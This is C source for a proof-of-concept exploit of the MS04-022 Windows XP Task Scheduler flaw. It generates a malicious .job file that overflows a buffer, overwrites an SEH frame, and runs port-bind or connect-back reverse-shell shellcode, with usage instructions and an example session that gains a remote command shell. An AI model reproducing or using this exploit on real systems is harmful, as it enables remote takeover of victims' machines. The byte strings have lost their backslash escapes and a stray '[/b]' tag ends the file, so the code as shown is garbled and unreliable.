/* HOD-ms04022-task-expl.c:
*
* (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
*
* Exploit version 0.1 coded by
*
*
* .::[ houseofdabus ]::.
*
*
* [at inbox dot ru]
* -------------------------------------------------------------------
* Tested on:
* - Internet Explorer 6.0 (SP1) (iexplore.exe)
* - Explorer (explorer.exe)
* - Windows XP SP0, SP1
*
* -------------------------------------------------------------------
* Compile:
* Win32/VC++ : cl HOD-ms04022-task-expl.c
* Win32/cygwin: gcc HOD-ms04022-task-expl.c -lws2_32.lib
* Linux : gcc -o HOD-ms04022-task-expl HOD-ms04022-task-expl.c
*
* -------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
* HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP]
*
* Shellcode:
* 1 - Portbind shellcode
* 2 - Connectback shellcode
*
* -------------------------------------------------------------------
* Example:
*
* C:>HOD-ms04022-task-expl.exe expl.job 1 7777
*
* (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
*
* --- Coded by .::[ houseofdabus ]::. ---
*
* [*] Shellcode: Portbind, port = 7777
* [*] Generate file: expl.job
*
* C:>
*
* start IE -> C:
*
* C:>telnet localhost 7777
* Microsoft Windows XP [‚Ąŕá¨ď 5.1.2600]
* (‘) ŠŽŕŻŽŕ ć¨ď Ś ŠŞŕŽáŽäâ, 1985-2001.
*
* C
ocuments and Settingsv.X ˇŽç¨Š á⎍>
*
* -------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#include <winsock2.h>
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
unsigned char jobfile[] =
/* job header */
"x01x05x01x00xD9xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
"xFFxFFxFFxFFx46x00x92x00x00x00x00x00x3Cx00x0Ax00"
"x20x00x00x00x00x14x73x0Fx00x00x00x00x03x13x04x00"
"xC0x00x80x21x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00"
/* length */
"x11x11"
/* garbage C:... */
/* unicode */
"x43x00x3Ax00x5Cx00x61x00"
"x2Ex00x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x61x00x61x00x61x00x61x00x61x00x61x00x61x00x61x00"
"x61x00x61x00x61x00x61x00x61x00x61x00x61x00"
"x1Ex82xDCx77"
/* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */
/* for Win2k use jmp ebx or call ebx */
"x61x61x61x61x61x61x61x61x61x61x61x61"
"x80x31x31x80" /* generate exception */
"x61x00x61x00x61x00x61x00x61x00x61x00"
"x90x90";
/* portbind shellcode */
unsigned char portbindsc[] =
"x90x90"
"x90x90xEBx06" /* overwrite SEH-frame */
"x90x90"
"x90x90x90x90"
"x90x90x90x90"
"xebx70x56x33xc0x64x8bx40x30x85xc0x78x0cx8bx40x0c"
"x8bx70x1cxadx8bx40x08xebx09x8bx40x34x8dx40x7cx8b"
"x40x3cx5exc3x60x8bx6cx24x24x8bx45x3cx8bx54x05x78"
"x03xd5x8bx4ax18x8bx5ax20x03xddxe3x34x49x8bx34x8b"
"x03xf5x33xffx33xc0xfcxacx84xc0x74x07xc1xcfx0dx03"
"xf8xebxf4x3bx7cx24x28x75xe1x8bx5ax24x03xddx66x8b"
"x0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5x89x44x24x1c"
"x61xc3xebx3dxadx50x52xe8xa8xffxffxffx89x07x83xc4"
"x08x83xc7x04x3bxf1x75xecxc3x8ex4ex0execx72xfexb3"
"x16x7exd8xe2x73xadxd9x05xcexd9x09xf5xadxa4x1ax70"
"xc7xa4xadx2exe9xe5x49x86x49xcbxedxfcx3bxe7x79xc6"
"x79x83xecx60x8bxecxebx02xebx05xe8xf9xffxffxffx5e"
"xe8x3dxffxffxffx8bxd0x83xeex36x8dx7dx04x8bxcex83"
"xc1x10xe8x9dxffxffxffx83xc1x18x33xc0x66xb8x33x32"
"x50x68x77x73x32x5fx8bxdcx51x52x53xffx55x04x5ax59"
"x8bxd0xe8x7dxffxffxffxb8x01x63x6dx64xc1xf8x08x50"
"x89x65x34x33xc0x66xb8x90x01x2bxe0x54x83xc0x72x50"
"xffx55x24x33xc0x50x50x50x50x40x50x40x50xffx55x14"
"x8bxf0x33xc0x33xdbx50x50x50xb8x02x01x11x5cxfexcc"
"x50x8bxc4xb3x10x53x50x56xffx55x18x53x56xffx55x1c"
"x53x8bxd4x2bxe3x8bxccx52x51x56xffx55x20x8bxf0x33"
"xc9xb1x54x2bxe1x8bxfcx57x33xc0xf3xaax5fxc6x07x44"
"xfex47x2dx57x8bxc6x8dx7fx38xabxabxabx5fx33xc0x8d"
"x77x44x56x57x50x50x50x40x50x48x50x50xffx75x34x50"
"xffx55x08xf7xd0x50xffx36xffx55x10xffx77x38xffx55"
"x28xffx55x0c";
/* connectback shellcode */
unsigned char connectbacksc[] =
"x90x90"
"x90x90xEBx06" /* overwrite SEH-frame */
"x90x90"
"x90x90x90x90"
"x90x90x90x90"
"xebx70x56x33xc0x64x8bx40x30x85xc0x78x0cx8bx40x0c"
"x8bx70x1cxadx8bx40x08xebx09x8bx40x34x8dx40x7cx8b"
"x40x3cx5exc3x60x8bx6cx24x24x8bx45x3cx8bx54x05x78"
"x03xd5x8bx4ax18x8bx5ax20x03xddxe3x34x49x8bx34x8b"
"x03xf5x33xffx33xc0xfcxacx84xc0x74x07xc1xcfx0dx03"
"xf8xebxf4x3bx7cx24x28x75xe1x8bx5ax24x03xddx66x8b"
"x0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5x89x44x24x1c"
"x61xc3xebx35xadx50x52xe8xa8xffxffxffx89x07x83xc4"
"x08x83xc7x04x3bxf1x75xecxc3x8ex4ex0execx72xfexb3"
"x16x7exd8xe2x73xadxd9x05xcexd9x09xf5xadxecxf9xaa"
"x60xcbxedxfcx3bxe7x79xc6x79x83xecx60x8bxecxebx02"
"xebx05xe8xf9xffxffxffx5exe8x45xffxffxffx8bxd0x83"
"xeex2ex8dx7dx04x8bxcex83xc1x10xe8xa5xffxffxffx83"
"xc1x10x33xc0x66xb8x33x32x50x68x77x73x32x5fx8bxdc"
"x51x52x53xffx55x04x5ax59x8bxd0xe8x85xffxffxffxb8"
"x01x63x6dx64xc1xf8x08x50x89x65x30x33xc0x66xb8x90"
"x01x2bxe0x54x83xc0x72x50xffx55x1cx33xc0x50x50x50"
"x50x40x50x40x50xffx55x14x8bxf0x68x7fx01x01x01xb8"
"x02x01x11x5cxfexccx50x8bxdcx33xc0xb0x10x50x53x56"
"xffx55x18x33xc9xb1x54x2bxe1x8bxfcx57x33xc0xf3xaa"
"x5fxc6x07x44xfex47x2dx57x8bxc6x8dx7fx38xabxabxab"
"x5fx33xc0x8dx77x44x56x57x50x50x50x40x50x48x50x50"
"xffx75x30x50xffx55x08xf7xd0x50xffx36xffx55x10xff"
"x77x38xffx55x20xffx55x0c";
/* use this form
unsigned char sc[] =
"x90x90"
"x90x90xEBx06" - overwrite SEH-frame
"x90x90"
"x90x90x90x90"
"x90x90x90x90"
"... code ...";
*/
unsigned char endofjob[] = "x00x00x00x00";
#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300+16)) = (port)
#define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+283+16)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290+16)) = (port)
void
usage(char *prog)
{
printf("Usage:n");
printf("%s <file> <shellcode> <bind/connectback port> [connectback IP]n", prog);
printf("nShellcode:n");
printf(" 1 - Portbind shellcoden");
printf(" 2 - Connectback shellcodenn");
exit(0);
}
int
main(int argc, char **argv)
{
unsigned short strlen;
unsigned short port;
unsigned long ip, sc;
FILE *fp, *fp2;
printf("n(MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploitnn");
printf("--- Coded by .::[ houseofdabus ]::. ---nn");
if (argc < 4) usage(argv[0]);
sc = atoi(argv[2]);
if ( ((sc == 2) && (argc < 5)) || (sc > 2)) usage(argv[0]);
fp = fopen(argv[1], "wb");
if (fp == NULL) {
printf("[-] error: can't create file: %sn", argv[1]);
exit(0);
}
/* header & garbage */
fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
fseek(fp, 39*16, SEEK_SET);
port = atoi(argv[3]);
printf("[*] Shellcode: ");
if (sc == 1) {
SET_PORTBIND_PORT(portbindsc, htons(port));
printf("Portbind, port = %un", port);
fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp);
fwrite(endofjob, 1, 4, fp);
fseek(fp, 70, SEEK_SET);
/* calculate length (see header) */
strlen = (sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2;
}
else {
ip = inet_addr(argv[4]);
SET_CONNECTBACK_IP(connectbacksc, ip);
SET_CONNECTBACK_PORT(connectbacksc, htons(port));
printf("Connectback, port = %u, IP = %sn", port, argv[4]);
fwrite(connectbacksc, 1, sizeof(connectbacksc)-1, fp);
fwrite(endofjob, 1, 4, fp);
fseek(fp, 70, SEEK_SET);
/* calculate length (see header) */
strlen = (sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2;
}
printf("[*] Generate file: %sn", argv[1]);
fwrite(&strlen, 1, 2, fp);
fclose(fp);
return 0;
}[/b]